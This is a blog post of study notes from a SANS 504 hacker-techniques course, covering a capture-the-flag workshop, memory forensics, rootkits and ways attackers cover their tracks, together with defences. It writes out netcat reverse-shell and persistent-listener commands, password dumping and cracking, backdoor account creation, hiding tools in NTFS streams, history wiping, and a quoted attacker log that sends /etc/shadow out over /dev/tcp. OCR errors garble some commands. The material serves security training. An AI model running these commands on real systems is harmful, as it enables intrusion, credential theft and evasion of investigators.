Thursday, May 2, 2019

5) 504.6 - Computer & Network Hacker Exploits, WORKSHOP

504.6 - Hacker Tools Workshop\6.1 Hacker Exploits Hands-On:

Most ImportantTools to Use Today
• Very Important:
— Nmap: Port scanning and OS fingerprinting (Linux)
— Nessus: Vulnerability scanning (Linux)
— Netcat: Backdoors and file transfer (Windows and Linux)
— Enum: Determining users and groups, and password guessing (Windows)
— Metasploit: Exploiting vulnerable targets (Linux and Windows)
— John the Ripper: Password cracking (Linux and Windows)
— Fgdump: Remote SAM password hash dumper (Windows)
• Everything you need to win the game is included in this environment

Step I: Overview of Reconnaissance:
• Acquire Domain Name
• Open Source
• Whois lookup
• ARiNlookup
• DNS Interrogation

Acquire Domain Name
• No connection to the Internet (we want to control the environment), so we Will simulate the next steps
Let’s pick a target organization
• How about an organization named “SANS 504 Target Company” with domain name “target.tgt”?
• They are the owner of Target Widgets, producer of the finest Widgets in the world
• Analyze their websites and think about the business service that each offers

Do a Whois search for target.tgt!

You will notice:

DNS Interrogation - Zone Transfer:
• To perform a zone transfer, we can use nslookup in Windows or dig in Linux
• Windows:
C:\> nslookup
> server
> ls -d target.tgt

• Linux:
# dig @ target.tgt —t AXFR

• Goal is to harvest target IP addresses

Step 2: Overview of Scanning
• Ping Sweeping (Nmap)
• Port: Scanning (Nmap)
• OS Fingerprinting (Nmap)
• Vulnerability Scanning (Nessus)
• Null Sessions (Windows)

Server Discovery — Exercise
• Using Nmap, try to fill out information about the target servers
• Use the templates earlier in this book
• Draw a diagram of the network, based on the discovery phase (the diagram will be simple!)
• Include the following:
— Topology layout
— IP addresses
— Open ports, with services and versions if possible
— Operating system type

Enum Against Windows:
• Don’t forget to run Enum against all discovered Windows machines
— Enum With various flags will be useful:
C:\> enum —U [target IPaddr]
C:\> enum —G [target IPaddr]
C:\> enum -D —u [user) —f [password.lst) [targettP)
— For enum —D, please make sure your system can speak NTLMv1
Run secpoLmsc
Go to Local PoliciesSecurity --> Options --> Network Security:
LAN Manager Authentication
• Make sure it is set to “Send LM & NTLM responses”.

Step 3: Gaining Access:
• Run exploits
• Depends on what was discovered during Phase 2
• Automated password guessing?
• Common Windows attacks?
• Metasploit exploitation
• Easily cracked passwords?
• Buffer overflow vulnerabilities?
• Others?

Compromising Additional Machines
• Once one machine is compromised, attackers can use it as a jumping off point for other attacks
— Exploit Windows $MB sessions between target machines
• Net use, at, etc.
— Crack passwords, and look for systems where users have set up identical passwords on multiple machines.

Step 4: Keeping Access
• Planting Netcat backdoor
• Use Metasploit shell or Meterpreter payloads
• Deploying VNC
• Others?
• DO NOT put Rootkits on the target machines; too risky.

Step 5: Covering the Tracks
• Creating hidden files on Linux
— Directories named
• Creating hidden files on Windows
— Alternate data streams
• Don’t forget about shell history files!
— Could be useful for you to see what others are attempting
— You might want to cover your tracks by deleting your own shell histories on my machines.

Bulding a Lab at Home:
• Windows 2012 Server, IIS
• Linux, FTP Apache
• Windows 8, File Sharing
• openBSD, NFS, OpenSSH.

Capture the Flag Contest
• We’ll play a game of capture the flag
• There are four regular flags and one bonus flag
— flag1.txt, flag2.txt, flag3.txt, and flag4.txt
— and bonusflag.txt
— All flags located in the top of the directoiy structure (inside c : \ on Windows and / in Linux)
• Each flag provides you information about a “Phrase that pays"
• Break in to my machines, look at the flags, and determine the phrase that pays.

Are you READY?
Remember the attack process:
1. Reconnaissance
2. Scanning
3. Exploiting Systems
4. Keeping Access — Backdoors and Trojans
5. Covering the Tracks
• Are there any questions on the ground rules or the Capture the Flag game?

DNS Interrogation:
• To attempt a zone transfer from a Windows system
- C:\> nslookup
—> server 1O.1O.1O.45
-> ls —d target.tgt
• To attempt a zone transfer from a Unix system
- #dig @ target.tgt —t AXFR

• Run an “Aggressive” Nmap scan (scan, OS fingerprint, version scan and NSE scripts) and save output to a file for future reference
- # nmap —A <target> --reason —o <file>

• Scan specific port(s) on target
- # nmap -p <port(s)> <target> --reason

• Perform a version scan on specific port(s)
# nmap —sV -p <port(s)> <target> --reason

• Additional options you might find helpful
- --reason         (shows target response)
- --packet_trace     (shows packet details)
- --traceroute         (shows network topology)

Enum (to enumerate passwords):
• To use Enum to enumerate information about a Windows target
• Enumerate User Accounts
C: \> enum —U [target]
• Enumerate Password Policy Information
- C: \> enum —P [target]
• Enumerate Groups
C: \> enum —G [target]
• You can combine the options
- C: \> enum —UGP [target]
• Run a dictionary attack against a target
- C:\> enum —D —u [user] —f [wordfile] [target]

Appendix: Helpful commands Pwdump:
• To dump the passwords from a remote machine that you have an admin level user ID and password for
- C:\> pwdump3 [outfile] [user]

• Then enter the password for the user id you used.

- steps to setup an exploit/payload combo
- we will use psexec once we know the username and password.

John The Ripper
• Linux: To unshadow a passwd file
- # unshadow /etc/passwd /etc/shadow > /tmp/combined
• Linux: To crack an un-shadowed password file
- # john /tmp/combined
• Windows: To crack a file with Windows hashes
- C:\> john <hash file>
• Remember to delete “john.pot” when you want to restart a cracking session or it Will pick up where it left off.

Windows Net Commands:
• To create an Administrator-level account
- C:\> net user /add [user] [password]
- C:\> net localgroup administrators /add [user]

• To delete a user account that you’ve created
— C:\> net user [user] /delete
• Map a local drive letter to the remote target’s C$ (requires Administrator-level credentials)
- C:\> net use * \\[target]\C$ [password] /u:[targetlP]\[user]
• To delete all of your net use sessions (careful)
C:\> net use * /d /y

Remote Access
— $ vncviewer
- $ ssh User@<TargetIP>
• Telnet
- $ telnet <TargetIP>

• To create a netcat listener (Example)
# nc -lnvp 7777
• To connect to a port (Example)
# nc —nv 7777
• To shovel a shell (Linux Example)
- # nc —lnvp 7777 —e /bin/sh
• To shovel a shell (Windows Example)
# nc —lnvp 7777 —e cmd.exe
To shovel the contents of a file
- # no —lnvp 7777 < file.txt
• To set up a persistent Linux listener
- # while [ 1 ]; do echo “Started”; no —lnp [port] —e /bin/sh; done

• To compile and run exploit code
- $ gcc <exploit source> -o <outfile>
- $ ./<outfile>
• What user am I in Linux?
$ whoami
$ id
• Become root if you have the password
$ su -

Vi Editor:
• To open or create a new file
# vim <file>
• Once in a file, to enable editing
— Press ‘a’
• When done editing
- Press ‘esc’ then ‘:‘ then ‘wq!’

• To hide data
# echo “Hello there.” > hideme.txt
- # ./hydan ./ls hideme.txt > <outfile>

• To retrieve data
- # ./hydan-decode <stegofile>
• Enter password when prompted

Hydan is in:

Cross-Site Scripting Example:
• To display an alert (example)
- http: //<SCRIPT LANGUAGE=Javascript>alert(“You are vulnerable to cross-site scripting! “);</SCRIPT>
• Script to steal cookies from a victim (example)



5) 504.5 - Computer & Network Hacker Exploits, Part 4 quick notes

504.5 - Computer & Network Hacker Exploits, Part 4

1. App-Level Trojan Horse backdoor Suites
- allow for the complete control of a victim system remotely across the network.
- client-server architecture.
- very popular and many examples:
Poison Ivy, VNC (, Dameware (commercial), Sub7, Lots of others such as BlackShades and GhostRAT.

- attackers can trick victim into running tool.
- or attackers can install it themselves.
- payload option in Metasploit.

Don't fall for Scareware that your system is compromised!

wrappers and Packers:
- wrap a backdoor tool around some other application.
- create a Trojan Horse executable.
• Also known as “Binders”
• Example: Wrap nc.exe into an interactive birthday card
• Built into many backdoors (i.e., Poison Ivy)
• Metasploit msfvenom
• Can wrap into .VBS or NBA for macros in Word and Excel with exe2vba.rb and exe2vbs.rb
- The Veil toolkit uses some of these techniques to bypass AV!!!!
- SET’s default payload generation also does this

Windows anti-reverse engineering for Executables:
- For thwarting Windows reverse engineering of malicious code, attackers frequently use packers.
- Originally focused merely on compression of executables
• But, limits string searches and direct disassembly
— Gives attacker more obscurity

Dozens of different packing algorithms and tools
UPX is the most popular, available at
Many more listed at
Commercial ones as well (Thinstall, PECompact, PEBundle, etc.)

Defense: Unpacking Windows Executables
• To thwart these, researchers use unpackers
— Or, use a plug-in for a debugger
• Ollydbg — Very popular free Windows debugger
• Dozens of unpacking scripts run as plug-ins for Ollydbg at:
— That whole site ( contains amazingly helpful stuff for reverse engineering malware!
• If a custom packing/obscuring algorithm is used, the researcher might need to create a custom unpacker using code from the malware specimen under analysis; this could take a lot of time.

- Immunity Debugger - very popular free Windows debugger.

5.3 Memory Analysis:

Investigators can use several tools to analyze memory dumps from Windows machines to determine attackers’ actions, such as executing malicious
application-level Trojan Horse backdoors.
• First, you’ll need a memory dump
— Can be generated using a variety of utilities, including Mandiant’s Memoryze MemoryDD.bat, HBGary’s fastdump, Matthieu Suich's win32dd, winpmem, and ManTech’s mdd

• Volatile Systems’ Volatility framework
- Free, open source, very feature rich and useful
— A modular tool written in Python

Google’s Rekall
— Free
- We focus on Rekall for analysis


• Some important Rekall modules include:
- imageinfo: Shows the date and time the memory dump was captured
— netstat: Lists open sockets (PID, Port, Protocol, and when it was opened)
— pstree: See a full process tree for a memory image
— pslist: Lists running processes (PID, name, and Parent PID)
— dillist: Lists the DLLs loaded by a process, as well as the command-line invocation of a process
— netstat: Shows all active listening UDP and TCP ports and connections
— ifiescan: Lists the files that each process had open
— pedump: Dumps code associated with running process into executable file
— modules: Lists loaded modules from the dump, including drivers and SYS files

• Numerous other modules as well, included with Rekall, and available as

Numerous other modules are available for download and most of them are listed at the URL on the slide separate downloads:

sec504@slingshot:~$source /home/tools/rekall/bin/activate

$rekal -f /home/tools/504_memory_ex/memimage.dd

Rekal: Viewing Network Connections:
- using Rekall's 'netstat' module, we can display a list of active network connections at the time the memory dump was acquired:

• Using Rekall’s “netstat” module, we can display a list of active network connections at the time the memoiy dump was acquired:
[1] memimaqe.dd hh:mm:ss> netstat
• Output is similar to the following command on a live Windows machine:
C:\> netstat —nao | find “ESTABLISHED”

Viewing Processes:
• Rekall’s “pslist” module displays a list of running processes at the time the image was acquired
[1] memimagedd hh:mm:ss> pslist

• Output is similar to the following command on a live Windows machine:
C:\> wmic process get name, parentprocessid, processid

Rekall: DLLs and Command Line
Use Rekall’s “dilhist” module to display a list of DLLs loaded by a process, as well as the commandline invocation of a running process:
[1] memimage.dd hh:mm:ss> dlllist pid=[pid_num]

Output is similar to the following commands on a live Windows machine:
:\> tasklist /m /fi “pid eq [pid]”
C:\> wmic process where processid=[pid] get commandline

c:\nc.exe -n 6000 -e c:\ncrelay.bat

For the list of DLLs loaded by every running process, we can use the following:
C:\> tasklist /m
For the list of DLLs loaded by a specific process, we can execute the following:
C:\> tasklist /m /fi “pid eq [pid]”

Lab: Windows Attack:

Using Rekall to analyze the image in /home/tools/504_memory_ex/memimage.dd, determine what the attacker was doing on the compromised system by answering the following questions:
1. Which processes are communicating with other machines on the network?
2. Which processes did the attacker likely run?
3. Is the attacker using the machine to pivot, and if so, how, and to which other systems is he/she pivoting?
4. Which suspicious process seems to be the root of all other suspicious activity on the compromised system?
5. Which builtin windows commands would you use if you were doing the same analysis on a live Windows system instead of a memory dump file?

:Hint: first Populate This Connection Table - Lab: Windows Attack
As a hint, you might find it useful to start by populating the Connection Table provided in the slide. When
this table is filled, you will have answered Question I and significantly started Question 2.
PID     PPID     Name         Remote IP         Remote Port

(for the table above)
- use Rekall's 'netstat' module.
- or in Windows:
c:\>netstat -nao | find "Established"

- get the parent process ID in Rekall:
or Windows:
c:\>wmic process get name, parentprocessid, processid

Another Hint: Then Populate this process table
PID     PPID         Name                 Command-Line Invocation

Start by copying over the information for processes you have on the Connection Table, and then use Rekall to analyze processes and fill in the blanks, especially the PPID and Command-Line Invocation fields.
You should also look for other, related processes the attacker might have invoked.
Pay special attention to process relationships indicated by the Parent Process ID (PPID).

Identify Processes by Connection (I):

- Determine which processes are communicating on the network using the Rekall “netstat” module
- Use the Rekall “pslist" module to cross ..reference the PIDs associated with established network connections with the list of running processes to
determine the name of each process associated with each connection.
- Also record the Parent PID of each process, because you’ll need it soon (PPID is the fourth column of Rekall process output)

Also run the below in Windows:
C:\> wmic process get name ,parentprocessid,processid

Determine Command-Line Invocations:

• Next, we have to dive deeper and determine each process’s command-line invocation using RekaWs “dlllhist” module, paying particular attention to the Netcat instances
• For each process in our table, run:
[1] memimage.dd hh:mm:ss> dlllist pid=[pid_num]

>dlllist pid=1744

For Question 5, the rough equivalent of this command on a live Windows machine is:
C:\> wmic process where processid=[pid] get commandline
C:\> tasklist /m /fi “pid eq [pid]”

On a live Windows machine, the commands you’d use to pull this same kind of information are:
C:\> wmic process where processid=1896 get name, parentprocessid,processid

Or, if you want to more closely mimic the Rekall command used with Linux grep, you could run:
C:\> wmic process get name,parentprocessid,processid | find “2124”

And, to get the command-line invocation information, you could run:
C:\> wmic process where processid=2124 get commandline

cmd.exe /c for /L %i in (1,1,255) do @ping -n 1 192.168.49.%i

(1,1,255) means Start with 1, step 1, up to 255.

Process Map:
2516 (explorer.exe)
3600 (hot_pics.exe)--------------> 1428(metsvc.exe) -----> 496(services.exe)
|          |    |                        |
v          |    v                        v
1744(nc.exe)  |    408(nc.exe)                    1428(metsvc.exe)
          v                            |
         2132(cmd.exe)                    v


R00tKit techniques:
• Rootkits are a collection of tools that allow an attacker to:
— Keep backdoor access into a system
- Mask the fact that the system is compromised

• These goals are accomplished by altering the operating system itself
• With these capabilities, rootkits are classic examples of Trojan Horse software and very effective backdoors

• Components of rootkits have been discovered for other systems
— Several UNIX/Linux rootkits at
• Solaris, B$D, AIX, HP-UX, IRIX
— Numerous Windows rootkits used by cyber criminals are also available
— Mobile rootkits are just now getting traction
• Rootkits are increasingly being bundled with spyware and bots

Windows User-Mode Rootkit DLL Injection and API Hooking:
• EXEs and DLLs are commonly used methods for packaging code in Windows
— EXEs run, and utilize shared DLLS to get stuff done
• On Windows, anyone with the Debug right can inject a DLL into a running process ...
• ... and start it running by creating a thread in the target process.
• Hook APIs to change programs’ views of running processes, open ports, and the file system.

— Don’t let attacker get root in the first place
- Harden and patch the system thoroughly.

— Detection can be quite difficult, but some methods are available
• ls versus “echo *“. Output should include the same files
• Nice, but not terribly practical
• There are other ways we can catch the system telling a lie, which we cover after the kernelmode rootkit discussion

• Most rootkits do not store the password as a string, so “strings” on /bin/login will not work
• Analysis of /bin/login by automated tool to look for embedded password

— Analyze other systems’ changes made by discovered rootkits
• Eradication
— Wipe drive, and then reformat drive
— Reinstall operating system, applications, and data
— Make sure you apply all patches
— You should change all admin/root passwords on victim and related
• Recovery
- Monitor system very carefully

Kernel-Mode Rookits:
• Kernel-mode rootkits are a big area of focus
• By operating in the kernel, the allacker has
complete control of the target machine
— Hidden processes
— Hidden files
— Hidden network use (sniffing and port listeners)
- Execution redirection

In general, there are (currently) five different methods for manipulating the kernel being publicly discussed
1. Loadable kernel modules (UNIX) and device drivers (Windows) --> (the most popular method today)
2. Altering kernel in memory
3. Changing kernel file on hard drive
4. Virtualizing the system
• Each available on Linux and Windows

Method 3) Changing Kernel File on Hard Drive
• Instead of altering live kernel in memory, attackers could overwrite kernel file on the hard drive
• On Linux, the file is vmlinuz
— Whitepaper on this technique at
• On Windows, kernel functionality is in ntoskrnl.exe and win32k.sys files
— Attacker must foil NTLDR integrity checks of these files
— Disable them or...
— Make them lie (alter their code)
— Bolzano and FunLove viruses did this in 1999, but nothing much since then.

Virtualizing the System:
Dino A. Dai Zovi is working on a similar hardware-based rootkit called Vitriol for Intel VT-x technology

Rootkit Examples:

• By TurboBorland
— Of Chaotic Security
• Works on 2.6+ and 3.0+ Linux kernels
• 32- and 64-bit support
• Uses driver support/loadable kernel modules
• Like many rootkits, it uses insmod to insert the various rootkit components
• Hides by modifying the results listed by lsmod
• Modifies the System Call Table
• Real-time hiding from strace
- very scary.

Avatar ROotkit:
• Uses driver infection technique twice
— Once to bypass Host Based Intrusion Detection (HIDS)
— The second is for persistence
• Uses the bootkit method of infection and persistence to bypass driver signing requirements
• An interesting mixture of user-mode and kernel-mode techniques
• Attempts to detect whether the target system is a VM
• If not installed as Admin, it will automatically attempt local privilege escalation
• Infects a random driver from a list
— Does not infect the same driver for every system
• It is able to infect system drivers without altering their size
• Custom encryption used for Command and Control (C2)

You can find it here:

Alureon/TDL Rootkit Family:
Alureon is one of the most powerful rootkits in widespread use for Windows today
— Used to hide spyware, bots, and other maiware
— Original version called “TDSS”.,, then TDL1 followed by TDL2... and now Alureon — an iterative loop growing more powerful

• Kernel-mode rootkit
— Configuration file and some DLLS present in user mode, but hidden
• Focus is on file hiding and dodging antivirus and rootkit detection tools
• For installation, Alureon alters Windows device drivers associated with the file system
— atapi.sys or iastor.sys
- Alters driver, but changes system so that driver signature check always passes.

FOntanini Rootkit (By Matias Fontanini).

Kernel-Mode Rootkit Defenses - Configuration Lockdown
• All of these attacks require the bad guy to have superuser privileges (root or Administrator)
• Harden the box by hand, or.
• Use a good security template
• The Center for Internet Security (CIS), in conjunction with NSA, NIST, and others, has developed a set of templates for Win, Lin, Solaris, HP-UX, Cisco Routers, and Oracle DBs
• They have scoring tools as well.

Defenses — LinwdUNIX Rootkit Detection Tools
• Try to catch inconsistencies introduced by a roothit on a system
• Chkrootldt, free from
— Checks for over 50 different rootkits, both user mode and kernel mode
— Runs on Linux. freeBSD, OpenBSD. NetBSD, Solaris, HP-UX, True64, and BSDI
— Numerous tests:
• Look for alterations in binaries and check promiscuous mode
• Check link count — each directorvs link count should equal two plus the number of directories contained
inside — some rootkits mess this up
• Rootkit Hunter, free at http ://
— Looks for 55 rootkits, both user mode and kernel mode
— Runs on Linux, FreeBSD, OpenBSD, AIX, and Solaris
— Also several tests, including rnd5 hashes of known evil binaries, comparison of ps process list
vs. /proc, and default rootkit files
• OSSEC includes ‘tRootcheck” with similar features at www,

Additional Windows RootKit Detectors
- other tools use similar techniques to the rootkit Revealer
- Sophos Anti-RootKit
- McAfee RootKit Detective
- RootKit REvealer, by Mark Russinovich

It's always nice to have a second (and third) opinion!

Defenses: File Integrity Checking Tools
• Look for changes to critical system files
• File integrity checking tools help
— Although a well-designed kernel-mode rootkit can trick the file integrity checker using execution redirection
— Still, if the attacker makes any unmasked changes, you’ll spot him
• Tripwire is a classic
— Also looks for registry modifications
• OSSEC is also very good
- Runs on Linux, UNIX, Mac OS X, and Windows
— Freely available at
• Other tools include:
— Ionx Data Sentinel

Network Intelligence/Forensics:
• A lot of rnalware tries hard to hide on the end system
— Morphing and kernel hacking
• ... but its use and propagation have definite patterns that can be observed on the network
— Strange communication pairs (scans, client - >client, server-> server, server ->client?)
— Security Onion is an outstanding Network Forensic Distro Network-level intelligence and forensics can help detect such behavior early

Get the Security Onion now:

Nifty auto-detection and throttling via network-based IPS:
- NetWitness, fireEye, Sourcefire, TippingPoint, ForeScout, etc.

Kernel-Mode Rootkit Defenses: Contain, Erad, and Recov
• The containment, eradication, and recovery steps for kernel-mode rootkits involve the same techniques used for user-mode rootkits
— Containment
• Analyze other systems’ changes made by discovered rootkits
• Wipe drive, and then reformat drive
• Reinstall operating system, applications, and data
• Make sure you apply all patches
• You should change all admin/root passwords on victim and related systems
— Recovery
• Monitor system very carefully

RITA - finding bads things on your network using Free and Open Source tools!
(from BlackHillsInfoSec company).


5.5 Covering Tracks in Linux and Unix:

Hiding Files in UNIX
• The easiest (and very effective) way to hide files is to simply name them something like ”.“ or ”..”
— Note: There is a space after those dots
• Or, just name a file “...“ or even ” “(that’s a space!)
• For example:
# ls -a
. .. test.txt files
# echo hideme > “.."
# ls —a
. .. .. test.txt files
Of course, you can do nastier stuff using rootkits.

Where Attackers Put Hidden UNIX files and Dirs
• In addition to using dot names, attackers want to put files in a place where they won’t be noticed
• Popular locations for hidden stuff include:
— /dev
— /tmp
— /etc
— Other complex components of the file system
• /usr/local/man
• /usr/src
• Numerous others

Log Editing:
Editing UNIX log files

• Main log files can be found by viewing /etc/syslog.conf
— Attacker might check this to find out where the logs are located
— Or just run a script that guesses where the logs are
• Of particular interest in Linux are:
— /var/log/secure
— /var/log/messages
— Logs of particular service that were exploited to gain access, such as:
• /var/1og/httpd/errorjog
• /var/log/httpd/aceessJog
• These log files (usually in /var/log) are written in ASCII
• They are often edited by hand using a text editor or script
— If the log file is very large, they usually use a perl script to edit it

# find .  -name \*.log
# find .  -name \*.log -ls | sort -r -n -k7
# grep this_word this_file.txt

Don't forget Shell History:
Attackers also delete or edit their shell history files
— A list of the most recent N commands
• 500 by default in bash, although 1000 on some Linux distros
— ~/.bash_history, for example
— Written in ASCII, and can be edited by hand with the permissions of the user or root
— Attackers remove suspicious commands
— Some even add commands to implicate some other user in the attack (divert attention)
- The default history file size is 500 commands in bash, although some Linux distros increase this to 1000 (including RedHat).

Editing Shell History - A Problem:
• Shell history is written when the shell is exited
• When editing shell history, the command used to invoke the editor will be placed in the shell history file
• The attacker could edit the file, exit the shell, start another shell, edit the history file again to remove it
...but it will be added again!
— A chicken and the egg problem
• Solutions
1)Kill the shell, so that it cannot write the most recent shell history, including the command used to edit it
# kill -9 [pid] ...or...   #killall -9 bash

2) Change the environment variable HISTSIZE (for bash) to zero
# unset HISTFILE then kill -9 $$

Account Entries in UNIX editing:
• utmp: file contains info about currently logged in users
— Default location on Linux: /var/run/utmp
• wtmp: File contains data about past user logins
- Default location on Linux: /var/log/wtmp
• btmp: File contains bad login entries for failed login attempts
— Default location on Linux: /var/log/btmp, but often not used
• lastlog: File shows login name, port, and last login time for each user
— Default location on Linux: /var/log/lastlog

• utmp, wtmp, and btmp are not stored in ASCII
— They are stored as utmp structures
• lastlog stored in different manners on various systems
• They can be edited only using specialized tools:
— remove.c, by Simple Nomad
• Removes entries from utmp, wtmp, and lastlog
— Numerous others, including wtmped.c, marry.c, cloak.c, logwedit.c, wzap.c, etc.
— All available at

Lab: Shell History Analysis

Analyzing a Shell History File:
• On the course U$B, there is a .bash_history file located in the Linux directory from the root account of a compromised system
• It’s also located inside the Linux VMware image, at /home/tools/history_exercise/.bash_history

In this lab, we will:
— Open this history file in an editor
— Analyze its contents to determine the attacker’s actions on the machine
— If you have trouble interpreting the attacker’s tactics, feel free to replicate them on your own Linux VMware system to get a better feel for the attacker’s actions.

Initial Action on the System:
• Open the histoiy file:
$ gedit /home/tools/history_exercise/.bash history
• When the attacker first gets access to the root account, he runs the following commands:
unname -a
uname -a
• What is the purpose of each command?
— Some possible answers follow this section
— Try to answer each question first, and review your answers at the end

File System Interactions:
• Next, the attacker executes the following commands:
mkdir /etc/initd
cd /etc/initd
wget 1O.1O.1O.18/kit.tgz
tar xfvz kit.tgz
my nc init
• What is the purpose of each command?

Launching Processes (I):
• Now, the allacker gets more serious:
echo “while :; do echo “Started”; /etc/initd/init —l —p 8080 —e /bin/sh; done” > init.conf
nohup init.conf &
nohup ./init.conf &
chmod 555 init.conf
nohup ./init.conf &
lsof -Pi | grep 8080
• What is the purpose of each command?

Launching Processes (2):
• finally, the attacker accesses some important files and another system:
cat /etc/passwd > /dev/tcp/
cat /etc/shadow > /dev/tcp/1O.1O.1O.18/443
./tcpdump -n -s0 -w init.out port 80 &
vi /var/log/messages
netstat —nat
ssh tom@1O.11.12.15

• What is the purpose of each command?

REMEMBER: turn on time stamping in Linux and MAC for when you check the logs!

Lab: Shell History
Some Additional Questions
• Was the attacker a human or a script?
• What specific files should the investigator look for?
• What other systems has the attacker likely compromised?

Potential Answers (1)
— Checking to see which account the attacker has gained control of on the machine
— Verifying the privileges of the current account
unname —a
— Trying to check the kernel version of the system, but with a typo in the command
uname —a
- Re-running the command, but without the typo
- checking to see whether Netcat is installed.

Potential Answers (2)
mkdir /etc/initd
— Making a directory that will blend in
cd /etc/initd
- Moving into that directory as a base of operations
wget 1O.1O.1O.18/kit.tgz
— Puffing down a package from$, likely another compromised machine
tar xfvz kit.tgz
— Opening the contents of the kit
mv nc init
- The kit must have included Netcat, which the attacker renames “init” to camouflage it.

Potential Answers (3)
echo “while :; do echo Started; /etc/initd/init —l —p 8080 -e /bin/sh; done" > init.conf
— Putting an autostart loop together for netcat listener
nohup init.conf &
— Attempting to run the loop with nohup to survive logoff ... forgot to specify the path
nohup ./init.conf &
— Now, attacker specifies path, but script isn’t executable
chmod 555 init.conf
- changing permissions to read-execute
nohup ./init.conf &
- finally running backdoor while loop
lsof -Pi | grep 8080
- verifying backdoor listener on TCP port 8080

Potential Answers (4)
cat /etc/passwd > /dev/tcp/1O.1O.1O.18/443
cat /etc/shadow > /dev/tcp/1O.1O.1O.18/443
— Exfiltrating /etc/passwd and /etc/shadow using /dev/tcp
./tcpdump -n -s0 -w init.out port 80 &
— Running tcpdump to grab traffic to and from port 80 into file called “init.out,” with a snaplength of zero to ensure full packet contents are stored
vi /var/log/messages
— Editing the logs
netstat —nat
— Where do we have current TCP connections?
ssh tom@
— Connecting to via ssh
— Ending the session

Some Additional Answers
• Was the attacker a human or a script?
— Likely a human, due to the typos and corrections entered in real-time.
• What specific files should the investigator look for?
— kit.tgz, init, init.conf, and init.out
• What other systems has the attacker likely compromised?
— — hosting the kit.tgz file, and the place where /etc/passwd and /etc/shadow were sent
— Possibly, as tom account

5.6 Covering Tracks in Windows:

Hiding Files in NTFS
If system is running NTFS, alternate data streams are supported
• Multiple streams can be attached to each file or directory
• Attacker’s files can be hidden in a stream behind normal files on the system
— Such as notepad.exe or word.exe (or anything else!)

Use the type command built into Windows
C: \> type hackstuff.exe > notepad.exe:stream1.exe
Or, use the cp program from the NT Resource Kit
C: \> cp hackstuff.exe notepad.exe:stream1.exe

• To get data back, it can be copied out of the stream
C: \> cp notepad.exe:stream1.exe hackstuff.exe
• Alternatively, you can create an alternate data stream attached to a directory by simply typing:
C: \> notepad <file_or_directory name>:<stream name>
If you know a stream exists and you know its name, you can view its contents using the more command:
C:\> more < c:\file:stream1

Alternate Data Streams in NTFS:
• The hidden file in the stream will follow the other file around through normal copying between NTFS partitions
• On Linux machines that have connected to a Windows box with NTFS, smbclient can get data from ADSs
• But, Windows machines prior to Vista and 2008 Server offer no built-in capability for finding or deleting a stream
— To delete a stream, you could move the file to FAT partition, and then move it back
— On Vista, Win2008, and Windows 7, the dir command offers the /r option for listing ADSs:
C:\> dir /r
• Will not show ADS behind Windows reserved filenames
— COM1, COM2, LPT1, AUX, etc.

Finding Hidden Streams:
Use antivirus tool to find malicious code in streams (nearly all have it)
• Many anti-spyware tools lack ADS detection functionality
• Third-party tools for finding alternate data streams in NTFS
— LADS by frank Hevne, at
— Streams at
• Includes an option for deleting a stream — very useful feature!

Lab: Alternate Data Streams:

• Boot your Windows machine
• Make a directory named c:\tmp (if it already exists, thaf S fine!)
C:\> mkdir c:\tmp
• Now, make a file in the directory:
C:\> notepad c:\tmp\test.txt
• Save some text in there, such as “hello!”
• Let’s create an alternate data stream associated with the directory c:\tmp
C:\> notepad c:\tmp\test.txt:hideme.txt

• Enter text (such as “This is hidden!”), save it, and close the file.

Looking for Alternate Data Streams:
• Let’s look for the alternate data stream
C:\> dir c:\tmp
• Do you see it?
• Bring up Windows file Explorer
— Start -> Run... type explorer.exe
— Then, look at c:\tmp and c:\tmp\test.txt
— Do you see hideme.txt?
• Now, bring up the file again... you must type the full path!
C: \> notepad C:\tmp\test.txt:hideme. txt
• It’s still there!

Executable in Alternate Data Streams:
• Let’s move a copy of Netcat into an alternate data stream
C:\> type c:\tools\nc.exe > c:\tmp\test.txt:nc.exe
— You must type in the full path, starting at c:\!!!
— You can look for this file, as we did previously...
• Let’s run this copy of Netcat

— If you have Windows Vista, 7, or 2008 Server:
C:\> wmic process call create c:\tmp\test.txt:nc.exe

— If you have Windows XP or 2003:
C:\> start c:\tmp\test.txt:nc.exe
— You must do this at the command prompt! Not at the Start - Run...Taskbar

• Now, type a Netcat command line, and you are rolling!
• Bring up the Task Manager (CTRL—ALT-DEL)
• What does the Netcat listener look like in the Process tab?

Using LADS:
• Now, let’s look for the alternate data stream using LADS
• Install LADS from the course USB
• Put it in the c:\tools\lads directory
• Now, let’s look for some ADSs:
C:\> c:\tools\lads\lads /S c:\tmp

• If you are on Windows Vista, 7, or 200$ Server, try running “dir /r /s c:\tmp”
• Do you see the hidden stuff?

Let's Clean UP:
• We should remove all of the alternate data streams we created.
• To do this, delete the c:\tmp directory:
C:\> del c:\tmp
C:\> rmdir c:\tmp
• Or, just drag the directory to the recycle bin to dispose of it.

Log Editing in Windows:
• In Windows, by default, event logs are stored in C: \Windows\$ystem32\winevt\Logs
• The main event log files are:
— AppEvent.Evtx — Application-oriented events
- SecEvent.Evtx — Security events
— SysEvent.Evtx — System events (readable by all users)
• Like UNIX’s wtmp and utmp, these files are stored with a bunch of binary information and are not directly editable
— In fact, the files are write-locked on a running Windows system
• An attacker with Admin privileges can clear the log files
— Use the Event Viewer, or simply delete the file
— An all-or-nothing proposition
• An attacker can generate so many bogus, benign logs that circular log files wrap, overwriting the important events
— Not overly practical, and likely to be noticed

Editing Logs with Physical Access:
• With physical access, an attacker could boot to Linux and edit the Windows logs directly with a specialized tool
• A Linux boot disk for editing the Windows password database (SAM) can be found at hllp://
— Be careful when using this on a machine with the Encrypting file System (EFS) on Windows XP and 2003
— You will likely lose the EfS keys if you change the password on them
• This program cannot be used to edit logs.
- ...However it illustrates that similar techniques could be used against the event logs.

Meterpreter Log File Alterations:
• The Metasploit Meterpreter also includes a log wiping utility
— “clearev” command
— Clears all events from the Application, System, and
Security logs
• No option to specify a particular type of log or event to wipe
• Currently, it clears the event logs completely, but could be expanded in the future to line-by-line event log editing.

Defenses from Covering Tracks on Systems (I):
— Use a separate server for logging
• In UNIX, syslog to a separate server
• Windows also supports syslog, through the use of third-party tools
Evt2sys at
>> Free, small, liglthveight tool that runs on Windows, reads event logs, and forwards them to syslog server
>> Win2K, Win2003, Win 7, and Win2008 and more supported 32-bit and 64-hit versions available
SL4NT at
>> Freefor6o days

Kiwi’s syslog at
>> Free as a running application, commercial if run as a service
Snare Agent and Log Server at
>> Windows of all kinds
>> Commercial

• User Behavioral Analytics
• Microsoft Advance Threat Analytics
• Rapid7 User Behavioral Analytics
• Exabeam

Defenses from Covering Tracks on Systems (2):

• Preparation
— Cryptographic integrity checks of log files
